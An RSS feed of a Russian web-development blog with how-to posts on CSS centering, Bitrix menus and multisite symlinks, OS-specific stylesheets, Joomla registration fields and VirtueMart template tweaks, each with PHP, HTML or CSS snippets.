Блог - Joomla Show - Joomla Show http://joomla-show.ru Sun, 15 Mar 2015 03:27:10 +0300 Joomla! - Open Source Content Management ru-ru Расположение div по центру экрана (центрируем по высоте и ширине) http://joomla-show.ru/item/59-raspolozhenie-div-po-tsentru-ekrana-tsentriruem-po-vyisote-i-shirine-ekrana http://joomla-show.ru/item/59-raspolozhenie-div-po-tsentru-ekrana-tsentriruem-po-vyisote-i-shirine-ekrana

Сегодня мы поговорим о том, как отцентрировать большой блок div как по горизонтали, так и по вертикали. Это необходимо при создании ограниченного по высоте сайта, как на картинке:

 

 Как пишут в интернетах, для решения этой задачи мог бы подойти такой вариант:

{code lang:css lines:false hidden:false}display:block;
width:1000px;
height:640px;
position:fixed;
top:50%;
left:50%;
margin-top:-320px;
margin-left:-500px;{/code}

Однако, этот способ имеет ряд недостатков, включая критические. К ним относится: position:fixed, что само по себе не айс, даже не смотря на то, что его можно заменить (при правильном подходе к body и html) на absolute или relative. А еще такое расположение больших блоков недопустимо потому, что на маленьких экранах (телефон, планшет, нетбук) блок обрежется по бокам, а так же сверху и снизу. Ну, и невозможно будет подвинуть блок, потому что скроллбары в этом случае отменяются. Не зависимо от того, какой у вас браузер или гаджет. Даже самый новый айпад не справится.

Казалось бы, можно просто поставить position:relative, и тогда скроллы появятся и сайт можно будет двигать во все стороны... Но не все так просто. Часть слева и сверху все равно уйдет в небытие. То есть, при ширине блока в 1000px, разрешении экрана 800*600 и полноэкранном режиме, у вас скушается и невозможно будет увидеть порядка 100 пикселей слева и 20 сверху, а скроллить можно будет только вправо и вниз, то есть этот вариант так же проигрышный.

Итак, что же делать?

А за решением проблемы, мы обратимся к старым добрым таблицам, хотя применять мы их в верстке и не будем. Как? А вот так:

{code lang:css lines:true hidden:false}html,body {
    width:100%;
    height:100%;
}
html {display:table}
body {
    display:table-cell;
    vertical-align: middle;
    text-align: center;/* для IE6 */
}
#wrapper {
    display:block;
    width: 1000px;
    height:640px;
    text-align: left;/* шоп было все круто */
    margin: 0 auto;
}{/code}

Понравилось? Лично мне — очень! И кроссбраузерно, и кроссрезолютивно. Пользуйтесь! :)

]]>
artyom-vikt@yandex.ru (Артем) CSS Fri, 15 Feb 2013 13:54:09 +0400
Битрикс. Делаем полноценное меню из компонента «Структура разделов» http://joomla-show.ru/item/58-vyipadayuschee-menyu-i-menyu-akkordeon-s-vyideleniem-tekuschego-punkta-iz-komponenta-struktura-razdelov http://joomla-show.ru/item/58-vyipadayuschee-menyu-i-menyu-akkordeon-s-vyideleniem-tekuschego-punkta-iz-komponenta-struktura-razdelov

Что-то давно я сюда не писал. Сегодня мы будем превращать стандартный компонент «Структура разделов» (bitrix:catalog.section.list) в полноценное многоуровневое меню. И отдельно поговорим о том, как из него же сделать аккордеон с определением вложенности пункта (если есть вложенные уровни, ссылка будет href="http://joomla-show.ru/#" — для того, чтобы ваш аккордеон можно было раскрыть не уходя на другую страницу), а так же залипанием текущего пункта. Такой в точности аккордеон можно увидеть на скриншоте ниже:

Структура разделов - меню

Собственно, этот вопрос передо мной встал совсем недавно, и когда я не нашел ни одного решения на просторах рунета, решил стать первым. Ну, может быть, одним из первых, кто написал про это.

Итак, что нам надо:

  1. Скачанный архив с выпадающим меню или написанный скрипт собственноручно.
  2. Битрикс любой редакции.
  3. Инфоблок с разделами, жеательно с деревом разделов типа:
    -Раздел
    --Подраздел
    --Подраздел
    -Раздел
    -Раздел
  4. Вставленный в шаблон или контентную часть компонент «Структура разделов» (catalog.section.list) с новым шаблоном скопированным с дефолтного шаблона .default (Настройки > Структура разделов (bitrix:catalog.section.list) > Копировать шаблон компонента)
  5. IQ >= 50 :)

Итак, для начала нам нужно понять как работает и что выдает нетронутый catalog.section.list, какая структура у многоуровневого меню, то есть, к какому html-виду на выходе нужно привести нашу структуру разделов.

Вот конструкция, котрую нам выдает компонент Битрикса:

{code lang:html4strict lines:true hidden:false}<ul>
<li>Родительский раздел</li>
<ul>
<li>Субсекция</li>
<li>Субсекция</li>
</ul>
<li>Родительский раздел</li>
<li>Текущий раздел</li>
</ul>{/code}

А нам нужна несколько иная конструкция:

{code lang:html4strict lines:true hidden:false}<ul>
<li>Родительский раздел
<ul>
<li>Субсекция</li>
<li>Субсекция</li>
</ul></li>
<li>Родительский раздел</li>
<li class="active">Текущий раздел</li>
</ul>{/code}

Вывод: нам не хватает во-первых вложения ul-списка субсекций перед закрываюим тегом </li> родительского раздела. Во-вторых, не хватает добавления класса active к текщему пункту меню (структуры разделов каталога).

Теперь давайте разбираться как нам реализовать все это дело.

Начнем со сложного и несколько неудобного способа.

Казалось бы, зачем? А затем, что с этим способом можно вывести много больше фишек, чем описанным во второй части статьи (без гемора картинки категории, анонс описания и многое другое).

Если мы заглянем в массив, дабы увидеть название ячейки, в которой было бы указано какой тут раздел родительский, а какой детский (ну, или как он там правильно у контент-менеджеров называется), то дико обломаемся. Ничего такого вы там не увидите. Только уровень вложенности и никаких привязок друг к другу. Знаете как заглядывать в массив? Нет? Попробуйте в шаблоне, сразу после <?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>  вставить это:

{code lang:php lines:false hidden:false}<pre>
<?php
print_r ($arResult);
?>
</pre>{/code}

После чего, откройте сайт и посмотрите что получилось, и сразу же запишитесь на курсы php Подмигиваю

У меня было очень мало времени на разборки, поэтому был выбран такой путь: заходим в редактирование разделать щелкаем по вкладке «Доп. свойства», нажимаем на ссылку «Добавить пользовательское свойство», добавляем свойство типа «Список», в настройках ставим «Флажки», называем его «Есть ли вложенные секции?», код пусть будет UF_CHECK и присваиваем значение одному единственному флажку «да» (вкладка «Список» сверху). Умолчание оставляем как есть.

Далее, когда будем заполнять — если у категории есть субсекции, ставим «Да», если нет — не трогаем.

Теперь будем внедрять.

Ищем строку:

{code lang:php lines:false hidden:false}echo str_repeat("</ul>", $CURRENT_DEPTH — $arSection["DEPTH_LEVEL"]);{/code}

и дополняем ее закрывающим </li>:

{code lang:php lines:false hidden:false}echo str_repeat("</ul></li>", $CURRENT_DEPTH — $arSection["DEPTH_LEVEL"]);{/code}

Далее заменим строку

{code lang:php lines:false hidden:false}<li id="<?=$this->GetEditAreaId($arSection[’ID’]);?>"><a href="http://joomla-show.ru/<?=$arSection["SECTION_PAGE_URL"]?>"><?=$arSection["NAME"]?><?if($arParams["COUNT_ELEMENTS"]):?>&nbsp;(<?=$arSection["ELEMENT_CNT"]?>)<?endif;?></a></li>{/code}

если у вас подключается аккордеон, в котором ссылка раскрывающегося пункта должна быть #, то на вот такую:

{code lang:php lines:false hidden:false}<li<? if(strstr($_SERVER["REQUEST_URI"],$arSection["CODE"])): ?> class="active"<? endif ?> id="<?=$this->GetEditAreaId($arSection[’ID’]);?>"><a href="http://joomla-show.ru/<?if($arSection["UF_CHECK"]):?>#<?else:?><?=$arSection["SECTION_PAGE_URL"]?><?endif?>"><?=$arSection["NAME"]?></a><?if(!$arSection["UF_CHECK"]):?></li><?endif?>{/code}

если решетка не нужна или это будет просто выпадающее меню, то пишем вот так:

{code lang:php lines:false hidden:false}<li<? if(strstr($_SERVER["REQUEST_URI"],$arSection["CODE"])): ?> class="active"<? endif ?> id="<?=$this->GetEditAreaId($arSection[’ID’]);?>"><a href="http://joomla-show.ru/<?=$arSection["SECTION_PAGE_URL"]?>"><?=$arSection["NAME"]?></a><?if(!$arSection["UF_CHECK"]):?></li><?endif?>{/code}

Далее подключите к шаблону сайта css и js-скрипты, при необходимости допишите нужные дивы в шаблон компонента (например, если будете использовать приложенный к статье аккордеон, вам нужно будет заменить <div class="catalog-section-list"> на <div class="topnav">). Все должно работать как надо. Текущий пункт залипает, список формируется как нам надо. Недостатки — сортировка пунктов по алфавиту. Чтобы этого избежать, просто расствьте как вам надо индекс сортировки при заполнении разделов, а так же доп. свойство, которое прийдется иногда проставлять. Но на самом деле это не так уж и страшно. Доп свойство заполняется менее секунды, к тому же, если используете эксель для формирования импорта, проставление значений для UF_CHECK можно автоматизировать при помощи банальных формул.

Продолжим более легким, без изменения шаблона и использования компонента bitrix:catalog.section.list.

Мы делаем полноценное меню? Нам не нужен геморрой? Давайте и сделаем меню, используя компонент меню (кэп, спасибо за подсказку)!

Если посмотреть настройки bitrix:menu, то можно увидеть интересную галочку Подключать файлы с именами вида .тип_меню.menu_ext.php. Это и есть наш ключ к успеху. Запомните его и идите в Настройки -> Настройки продукта -> Настройки модулей -> Управление структурой, создавайте новый тип меню, специально для каталога, например, тип — cat, название — Разделы каталога. 

Далее создайте файлик в корне сайта (или в папку, если меню вывдоить будем не во всех разделах) и создайте там файлы .cat.menu.php и .cat.menu_ext.php, опосля чего в нужное место шаблона сайта вонзите сам компонент меню и укажите в настройках тип для первого уровня Разделы каталога. Поставьте нужное количество уровней меню, тип меню для остальных уровней оставьте таким же, как и для первого. Не забудьте про Подключать файлы с именами вида .тип_меню.menu_ext.php.

Справились? Молодцы. Открываем тот самый .cat.menu_ext.php в любимом php-редакторе и запиливаем в него такой хитрый, на первый взгляд, код:

{code lang:php lines:true hidden:false}<?php
if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

global $APPLICATION;

$aMenuLinksExt = $APPLICATION->IncludeComponent(
"bitrix:menu.sections",
"",
Array(
"IS_SEF" => "N",
"ID" => $_REQUEST["ID"],
"IBLOCK_TYPE" => "catalog", // Введите сюда символьный код или ИД типа ИБ, в котором лежит инфоблок каталога
"IBLOCK_ID" => "1", // Укажите тут реальный ID инфоблока, с которым вы связываете меню, то бишь, каталога
"SECTION_URL" => "/catalog/#SECTION_ID#/", //Обратите внимание на то, что если у вас чпу направлены на код, то ставьте SECTION_CODE
"DEPTH_LEVEL" => "2", // Сколько надо уровней меню, такую цифру и пишите
"CACHE_TYPE" => "N", // Кэш. Надо или не надо? Думайте сами, решайте сами!
"CACHE_TIME" => "36000000" // Сколько секунд будет жить кэш. В данном случае немногим меньше, чем полтора года
),
false
);
$aMenuLinks = array_merge($aMenuLinks, $aMenuLinksExt);
?> {/code}

И это не все еще, хотя, проверить работу уже можно. Давайте заморочимся с шаблоном. Нам-то нужно чтобы в верхних уровнях меню стола решетка (это для тех, кому нужна решетка).

Долго расписывать не буду. Для корректной работы скачанного в начале статьи аккордеона, она нужна, и вам подойдет вот такой код шаблона компонента меню:

{code lang:php lines:true hidden:false}<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>
<div class="sections">
<ul>
<?
$previousLevel = 0;
foreach($arResult as $arItem):
?>
    <? if ($previousLevel && $arItem["DEPTH_LEVEL"] < $previousLevel): ?>
        <?=str_repeat("</ul></li>", ($previousLevel - $arItem["DEPTH_LEVEL"]));?>
    <? endif ?>
    <? if ($arItem["IS_PARENT"]): ?>
            <li<? if($arItem["SELECTED"]): ?> class="active"<? endif ?>><a href="http://joomla-show.ru/#"><?=$arItem["TEXT"]?></a>//Вот, попалась решетка в первом уровне. Если она не нужна вам тут, на этом месте вместо диеза в хрефе ставьте <?=$arItem["LINK"]?>
                <ul>
    <? else: ?>
                <li<? if($arItem["SELECTED"]): ?> class="active"<? endif ?>><a href="http://joomla-show.ru/<?=$arItem["LINK"]?>"><?=$arItem["TEXT"]?></a></li>
    <? endif ?>
    <? $previousLevel = $arItem["DEPTH_LEVEL"] ?>
<? endforeach ?>
<? if ($previousLevel > 1):?>
    <?=str_repeat("</ul></li>", ($previousLevel-1) );?>
<? endif ?>
</ul>
</div>{/code}

На этом все. Надеюсь, эта статья поможет вам. Приветствуются альтернативные способы реализации в комментариях.

]]>
artyom-vikt@yandex.ru (Артем) Bitrix Mon, 28 Jan 2013 18:31:18 +0400
Решение проблемы с несоответствием отображения шрифтов в разных операционках http://joomla-show.ru/item/53-reshenie-problemyi-s-nesootvetstviem-otobrazheniya-shriftov-v-raznyih-operatsionkah http://joomla-show.ru/item/53-reshenie-problemyi-s-nesootvetstviem-otobrazheniya-shriftov-v-raznyih-operatsionkah

Всем профессиональным верстальщикам известна проблема с экранным сглаживанием шрифтов в разных операционных системах. И в таких проблемных местах, как, например, меню, частенько возникают подобные курьёзы (сверху — визуализация меню в Маке, снизу, под сиреневой полосой — тот же кусок сайта в Винде):

Это происходит из-за того, что Мак таким образом сглаживает шрифты, чтобы они казались более насыщенными. Как видите, Arial, если его заключить в <strong></strong> или font-weight:bold, становится слишком жирным, а следовательно, и слишком широким. По-секрету скажу, Линукс ведет себя подобно Маку.  А поскольку наша задача сделать верстку не только кроссбраузерной, но еще и адаптивной ко всем осям, нужно учитывать и этот момент. Решение под катом.

Если вы столкнулись с подобной проблемой, не стоит бить тревогу. Вам нужно сделать четыре дополнительных css-файла под каждую операционку, основного выпилить проблемный участок. Давайте так и сделаем. Предположим, у нас не помещается меню в <div id="mainmenu"> из-за ширины шрифта. Под Виндой все красиво, но стоит только открыть сайт в Маке или Убунте, начинается беспредел. 

Чтобы избавиться, удаляем из основного файла

{code lang:css title:"styles.css" lines:false hidden:false}#mainmenu {width:580px}{/code}

Создаем дополнительные os-fix_win.css, os-fix_mac.cssos-fix_lin.css — для Винды, Макоси и Линухи, соответственно. В них пишем:

{code lang:css title:"os-fix_win.css" lines:false hidden:false}#mainmenu {width:580px}{/code}

{code lang:css title:"os-fix_mac.css" lines:false hidden:false}#mainmenu {width:605px}{/code}

{code lang:css title:"os-fix_lin.css" lines:false hidden:false}#mainmenu {width:600px}{/code}

Закидывайте эти файлы на сервер вместе с основным, в между <head> и </head> втыкайте вот такой код:

{code lang:php lines:true hidden:false}<link rel="stylesheet" href="http://joomla-show.ru/путь_к_файлу/ 
<?
function opsys_info($agent) {
if ( strstr ($agent, 'Win') ) :
$opsys = "os-fix_win.css";
elseif ( strstr($agent, 'Linux') ) :
$opsys = "os-fix_lin.css";
elseif ( strstr ($agent, 'Unix') ) :
$opsys = "os-fix_lin.css";
elseif ( strstr ($agent, 'Mac') ) :
$opsys = "os-fix_mac.css";
else :
$opsys = "os-fix_win.css";
endif;
return $opsys;
}
$agent = $_SERVER['HTTP_USER_AGENT'];
print_r (opsys_info($agent));
?>
" type="text/css" media="screen"/>{/code}

Смотрите результат. Теперь, в Маке (во всех браузерах) ширина дива с айди mainmenu будет равна 605 пикселям, в любом браузере Винды — 580 пикселей, а в Линуксе, соответственно, 600.

Плюс такого способа в том, что он не зависит от того, установлена у посетителя JAVA или нет. Скрипт исполняется сервером, вам нужно только чтобы ваш сервак умел исполнять php-скрипты :)

Минус в дополнительной нагрузке на сервер, но красота требует жертв, что тут скажешь. Либо меняйте верстку.

И еще один нюанс. Если юзер зашел на сайт ни из-под Винды, ни из Мака, Линукса или Юникса, а, например, из-под Symbian, то сервер покажет ему стили для Винды. Определяется это здесь: else : $opsys = "os-fix_win.css"; 

На этом все. Спасибо за внимание.

 

]]>
artyom-vikt@yandex.ru (Артем) Разное Wed, 12 Sep 2012 18:14:21 +0400
Простая многосайтовость Битрикса http://joomla-show.ru/item/52-prostaya-mnogosaytovost-bitriksa http://joomla-show.ru/item/52-prostaya-mnogosaytovost-bitriksa

Наткнулся на одну статью про безгеморройный способ обеспечить Битриксу многосайтовость. Лицензия Битрикса по умолчанию подразумевает создание двух отдельных  сайтов на одном движке. Но документация Битрикса вводит в ступор. Неудобно, геморройно, долго и неразумно. Некий Шаромов Денис придумал очень удобный способ организации многосайтовости на Битриксе. Не ручаюсь что именно он придумал, однако вот его статья, из которой я взял только самую основную часть, дабы разжевать все исключительно по делу, без воды и альтернативных методов, ну и на всякий пожарный — вдруг оригинал выпилят.

Здесь подразумевается многосайтовость с учетом того, что сайты будут располагаться на разных доменах. То есть, не так: www.first_site.ru и www.first_site.ru/second_site, при таком раскладе ничего настраивать не нужно. Я имею в виду вот такую связку: www.first_site.ru и www.second_site.ru (или second_site.first_site.ru).

Суть метода Шаромова Дениса заключается в создании символических ссылок на системные папки Битрикса. По сути, эти символические ссылки есть ни что иное, как банальные ярлыки (ну, в русскоязычной Винде это так называется, в Макоси — псевдонимы). А теперь внимание: этот способ подходит только для UNIX-хостинга, при чем, физические папки обоих сайтов должны располагаться на одном и том же сервере, доступ не должен быть ограничен. То есть, на примере ftp, вы должны иметь возможность один раз залогинившись в фтп-клиенте, попасть как на первый сайт, так и на второй. Вот пример:

Это структура взята с хостинга NIC. На одном тарифе два сайта. Работает все отлично. Теперь, когда вы осознали все нюансы, перейдем к пошаговой настройки многосайтовости.

1. Установка Битрикса. Вам необходимо установить Битрикс на основной домен. В нашем случае это будет www.first_site.ru.

2. Создание символических ссылок. Вот сама суть метода. Есть php-скрипт, который, судя по статье, и написал Шаромов Денис. Вот его код:

 {code lang:php title:"Код скрипта" lines:true hidden:false}<html>
<head><title>Создание ссылок на папки bitrix и upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
</head>
<body>
<?
error_reporting(E_ALL & ~E_NOTICE);
@ini_set("display_errors",1);

if ($_POST['path'])
$path = rtrim($_POST['path'],"/\\");
else
$path = '../../first_site.ru/docs';

if ($_POST['create'])
{
if (preg_match("#^/#",$path))
$full_path = $path;
else
$full_path = realpath($_SERVER['DOCUMENT_ROOT'].'/'.$path);

if (file_exists($_SERVER['DOCUMENT_ROOT']."/bitrix"))
$strError = "В текущей папке уже существует папка bitrix";
elseif (is_dir($full_path))
{
if (is_dir($full_path."/bitrix"))
{
if (symlink($path."/bitrix",$_SERVER['DOCUMENT_ROOT']."/bitrix"))
{
if(symlink($path."/upload",$_SERVER['DOCUMENT_ROOT']."/upload"))
echo "<font color=green>Символические ссылки удачно созданы</font>";
else
$strError = 'Не удалось создать ссылку на папку upload, обратитесь к администратору сервера';
}
else
$strError = 'Не удалось создать ссылку на папку bitrix, обратитесь к администратору сервера';

}
else
$strError = 'Указанный путь не содержит папку bitrix';
}
else
$strError = 'Неверно указан путь или ошибка прав доступа';

if ($strError)
echo '<font color=red>'.$strError.'</font><br>Исходный путь: '.$full_path;
}
?>
<form method=post>
Путь к папке, содержащей папки bitrix и upload: <input name=path value="<?=htmlspecialchars($path)?>"><br>
<input type=submit value='Создать' name=create>
</form>
</body>
</html>{/code}

Сделайте из этого кода файл, назовите его как-нибудь. Например, siteconfig.php, а так же не забудьте поменять путь в строке №13 — ../../first_site.ru/docs на свой.

Логика здесь очень простая — вам нужно скомандовать серверу переместиться из папки docs второго сайта в папку docs первого сайта, найти там папки bitrix и upload и проставить на них ярлыки. Изображу это графически:

Для этого мы пишем ../ чтобы переместиться из docs в second_site.ru, после чего пишем еще раз ../ чтобы попасть в корневую папку аккаунта (или домашнюю папку сервака), в которой находятся папки первого и второго сайтов, а потом пишем путь к корневой папке первого сайта, то бишь first_site.ru/docs

Когда по аналогии с примером, вы пропишете данный путь, сохраните файл, загрузите его на сервер и откройте http://second_site.ru/siteconfig.php, где вы увидите это:

Просто жмите кнопку «Создать», вы должны увидеть сообщение, что символические ссылки удачно созданы. Если оно не появилось, вылезет сообщение об ошибке с подсказкой куда смотреть. Если у вас неправильный путь, отредактировать его можно прямо на странице в форме и снова нажать кнопку «Создать».

Словом, когда ссылки успешно создадутся, скопируйте из корня первого сайта файлы .htaccess и .access.php и вставьте их в корень второго сайта. У вас должна получиться такая картина:

Если все так, поздравляю! Этот шаг завершен.

3. Создаем и настраиваем второй сайт. Заходим в http://second_site.ru/bitrix/admin/, логинимся админским паролем от первого сайта, переходим в Настройки -> Настройки продукта -> Сайты -> Список сайтов и жмем на кнопку «Добавить сайт» и заполняем появившуюся форму:

То, что необходимо изменить я выделил серым цветом. Ориентируйтесь на этот скрин — там должно быть все понятно. Единственный момент — если не знаете абсолютный путь к корневой папке второго сайта, жмите на [вставить текущий], у вас пропишется путь типа /home/account/first_site.ru/docs. Просто замените название папки первого сайта на папку второго и сохраняйте.

Что же касается шаблона — либо устанавливаете готовое решение в этот сайт, либо выбираете подготовленный и установленный шаблон, ваше право выбора ущемлять не буду.

Собственно, на этом все. Один только момент — при создании инфоблоков, пожалуйста, не забывайте о том, что их нужно привязывать к определенному сайту. И называйте инфоблоки так, чтобы можно было легко определить где он будет отображаться. Например, Новости (первый сайт) и Новости (второй сайт).

]]>
artyom-vikt@yandex.ru (Артем) Bitrix Tue, 11 Sep 2012 18:05:28 +0400
Дополнительные поля в форме регистрации Joomla http://joomla-show.ru/item/50-dopolnitelnyie-polya-v-forme-registratsii-joomla http://joomla-show.ru/item/50-dopolnitelnyie-polya-v-forme-registratsii-joomla

Сегодня мы поговорим о том, как добавить в форму регистрации Джумлы (1.6 — 2.5) дополнительные поля, а заодно и разберемся как управлять этой формой. Должна получиться вот такая расширенная форма:

Итак, в первую очередь нам нужно пробраться в phpMyAdmin, зайти в базу и найти там таблицу jos_users (префикс может быть совершенно другим, если отличается, ставьте ваш, ключевая таблица — users). В ней нам нужно создать новые поля. В данном случае это будут:

  • Возраст (age)
  • Город проживания (city)
  • Специальность (specialty)
  • Навыки и умения (skills)

Собственно, вот скрин, на котором показано как это сделать:

Выставляете значения под таблицей, жмете ОК, вас перебрасывает на страницу с параметрами таблицы. Задаем их (смотрим список новых полей с названиями для сайта и базы выше). Заполняете все как на скрине:

В остальные параметры не лезем. Оставляем как есть. С длиной понятно? Для возраста разумнее всего значение 2 (склоняю голову и извиняюсь перед теми, кто дожил до ста лет и при этом, умеет пользоваться интернетом — занижайте возраст и пишите, что вам всего каких-то 99 лет, например). Сохраняемся, смотрим что получилось. Если все нормально, таблица jos_users должна быть заполнена так:

Если все получилось, давайте вставим эти поля в форму регистрации. Для этого открываем файлик registration.xml, который лежит в папке /components/com_users/models/forms/

Ваша задача скопировать вот этот кусок кода:

{code lang:xml lines:true hidden:false}        <field name="name" type="text"
            description="COM_USERS_REGISTER_NAME_DESC"
            filter="string"
            label="COM_USERS_REGISTER_NAME_LABEL"
            message="COM_USERS_REGISTER_NAME_MESSAGE"
            required="true"
            size="30"
        />{/code}

И вставить его (в данном случае) четыре раза, дабы в форме регистрации возникли четыре дополнительных поля, которые нам требуются. Но сначала давайте разберемся что тут к чему.

  • name="name" — собственно, это имя той ячейки базы данных, в которую форма будет втыкать значение;
  • description="COM_USERS_REGISTER_NAME_DESC" — Подсказка; 
  • label="COM_USERS_REGISTER_NAME_LABEL" — Подпись к полю формы регистрации;
  • message="COM_USERS_REGISTER_NAME_MESSAGE" — Сообщение при ошибке в наборе формы;
  • required="true" —  Проверка обязательности ввода значения. То есть, если стоит true — поле обязательно для заполнения, отмечается звездочкой, не заполнив поле не получится зарегистрироваться. Значение false позволяет не заполнять поле. То есть, оно становится необязательным, звездочки не будет;
  • size="30" — Ширина поля, что тут еще скажешь. 

Вот эти значения, которые прописаны заглавными латинскими буквами — отсылка к языковому файлу, но я не буду заострять на этом внимание, просто напишу все значения напрямую в xml-файле и сохраню его в формате UTF-8 без BOM.

Если вы все усвоили, то исправленные блоки должны получиться такими же:

{code lang:xml lines:true hidden:false}        <field name="age" type="text"
            description="Введите свой возраст"
            filter="string"
            label="Возраст"
            message="Неправильно введен возраст. Значение не должно превышать 99"
            required="true"
            size="30"
        />
        <field name="city" type="text"
            description="В каком городе вы живете?"
            filter="string"
            label="Город проживания"
            message="Ошибка. Слишком длинное значение."
            required="true"
            size="30"
        />
        <field name="specialty" type="text"
            description="Кем вы работаете (работали, на кого учились или учитесь)?"
            filter="string"
            label="Специальность"
            message="Ошибка. Слишком длинное значение."
            required="true"
            size="30"
        />
        <field name="skills" type="text"
            description="Что вы умеете делать так, как никто другой?"
            filter="string"
            label="Навыки и умения"
            message="Ошибка. Слишком длинное значение."
            required="true"
            size="30"
        />{/code} 

Проверьте, поля должны добавиться в форму. Если нет, сохраните файл и замените его на ФТП :)

Теперь зайтите в phpMyAdmin, и проверьте заносятся ли значения в соответствующие ячейки. Если да, то переходим к следующему этапу — нужно добавить эти поля в информацию обучетной записи, которая отображается в админке.

Для этого заходим в папку /administrator/components/com_users/models/forms/ и ищем в ней файл user.xml, дальше — действуем по той же схеме. В него вставляем вышеуказанный код, сохраняемся, перезаписываем файл и наслаждаемся полнофункциональной формой информации о пользователе.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Wed, 15 Aug 2012 19:32:57 +0400
Увеличение картинки в модуле mod_vertuemart_product (Virtuemart 2.0) http://joomla-show.ru/item/49-uvelichenie-kartinki-v-module-mod_vertuemart_product-virtuemart-20 http://joomla-show.ru/item/49-uvelichenie-kartinki-v-module-mod_vertuemart_product-virtuemart-20

В этом посте мы будем делать так, чтобы в модуле, который выводит продукты (рекомендуемые, рандомные, лидеры продаж и пр.), при нажатии на картинку мы не переходили в карточку товара, а просто увеличивали ее, ниже — скрин с рабочего проекта, под катом — инструкции как это сделать, вот еще две ссылки о том, как увеличить картинку в таких модулях Virtuemart 1.1.x и как увеличить картинку в модулях Virtuemart 1.1.x при помощи RokBox.

С приходом второго виртуемарта, во многом наша жизнь облегчилась, хотя кое где он нас поставил раком. Сейчас мы рассмотрим пример того, как просто стало реализовать функцию увеличения картинки в модуле. Можете открыть для сравнения ссылки из анонса.

Итак, давайте откроем файл  modules/mod_virtuemart_product/tmpl/default.php и найдем в нем такой код:

{code lang:php lines:true hidden:false}<?php
if (!empty($product->images[0]) )
$image = $product->images[0]->displayMediaThumb('class="featuredProductImage" border="0" height="100"',false) ;
else $image = '';
echo JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.$product->virtuemart_category_id),$image,array('title' => $product->product_name) );
echo '<div class="clear"></div>';
$url = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id='.$product->virtuemart_product_id.'&virtuemart_category_id='.
$product->virtuemart_category_id); ?>{/code}

Теперь закомментируйте это все или удалите и вставляйте туда это:

{code lang:php lines:true hidden:false}<?php /** make image popup — joomla-show.ru*/                    echo $product->images[0]->displayMediaThumb('class="browseProductImage" border="0" title="'.$product->product_name.'" ',true,'class="modal"');            ?>{/code} 

На этом все. Не правда ли просто? :) 

]]>
artyom-vikt@yandex.ru (Артем) Joomla Wed, 16 May 2012 11:35:59 +0400
Кнопка «Добавить в корзину» на обзорной странице категории Virtuemart 2 http://joomla-show.ru/item/48-knopka-dobavit-v-korzinu-na-obzornoy-stranitse-kategorii-virtuemart-2 http://joomla-show.ru/item/48-knopka-dobavit-v-korzinu-na-obzornoy-stranitse-kategorii-virtuemart-2

Кнопку в шаблоне обзорной страницы категории по какой-то причине я не нашел, пришлось добавлять ее вручную. Добавил выбор количества и саму кнопку. Результат:

Описание процесса размещения кнопки «Добавить в корзину» на обзорной странице категории Virtuemart 2.0 — под катом.

Процесс добавления сам по себе очень прост. Для этого вам необходимо в файл docs/components/com_virtuemart/views/category/tmpl/default.php вставить следующий код:

{code lang:php lines:false hidden:false}<?php
echo $this->loadTemplate('addtocart');
?> {/code}

Вставлять можно в любое место внутри блока с товаром. Я вставил внутри <div class="width70 floatright">, сразу после Ценового блока:

{code lang:php lines:false hidden:false}<div class="product-price marginbottom12" id="productPrice<?php echo $product->virtuemart_product_id ?>">
                    <?php
                    if ($this->show_prices == '1') {
                        if( $product->product_unit && VmConfig::get('vm_price_show_packaging_pricelabel')) {
                            echo "<strong>". JText::_('COM_VIRTUEMART_CART_PRICE_PER_UNIT').' ('.$product->product_unit."):</strong>";
                        }
                        if(empty($product->prices) and VmConfig::get('askprice',1) and empty($product->images[0]->file_is_downloadable) ){
                            echo JText::_('COM_VIRTUEMART_PRODUCT_ASKPRICE');
                        }
                        //todo add config settings
                        if( $this->showBasePrice){
                            echo $this->currency->createPriceDiv('basePrice','COM_VIRTUEMART_PRODUCT_BASEPRICE',$product->prices);
                            echo $this->currency->createPriceDiv('basePriceVariant','COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT',$product->prices);
                        }
                        echo $this->currency->createPriceDiv('variantModification','COM_VIRTUEMART_PRODUCT_VARIANT_MOD',$product->prices);
                        echo $this->currency->createPriceDiv('basePriceWithTax','COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX',$product->prices);
                        echo $this->currency->createPriceDiv('discountedPriceWithoutTax','COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE',$product->prices);
                        echo $this->currency->createPriceDiv('salesPriceWithDiscount','COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT',$product->prices);
                        echo $this->currency->createPriceDiv('salesPrice','COM_VIRTUEMART_PRODUCT_SALESPRICE',$product->prices);
                        echo $this->currency->createPriceDiv('priceWithoutTax','COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX',$product->prices);
                        echo $this->currency->createPriceDiv('discountAmount','COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT',$product->prices);
                        echo $this->currency->createPriceDiv('taxAmount','COM_VIRTUEMART_PRODUCT_TAX_AMOUNT',$product->prices);
                    } ?>
                    </div>{/code}

Сохраняйте файл, после чего идите в папку docs/components/com_virtuemart/views/productdetails/tmpl, копируйте оттуда файл default_addtocart.php и вставляйте его в папку docs/components/com_virtuemart/views/category/tmpl. 

Все должно работать. Настроить внешний вид формы добавления в корзину можно как раз в только что скопированном файле.

]]>
artyom-vikt@yandex.ru (Артем) Joomla Thu, 19 Apr 2012 13:05:13 +0400
Экспорт товаров из Virtuemart в Яндекс-маркет http://joomla-show.ru/item/45-eksport-tovarov-iz-virtuemart-v-yandeks-market http://joomla-show.ru/item/45-eksport-tovarov-iz-virtuemart-v-yandeks-market

Сегодня мы поговорим об автоматическом размещении товаров из Виртуемарта в Яндекс-маркете. Данная статья, правда, относится исключительно к Virtuemart 1.1.x, для Virtuemart 2 я напишу по мере необходимости. Итак, нам нужно сделать все так, чтобы в Яндекс-маркет попадала вся требуемая информация, да к тому же, чтобы это все обновлялось в автоматическом режиме.

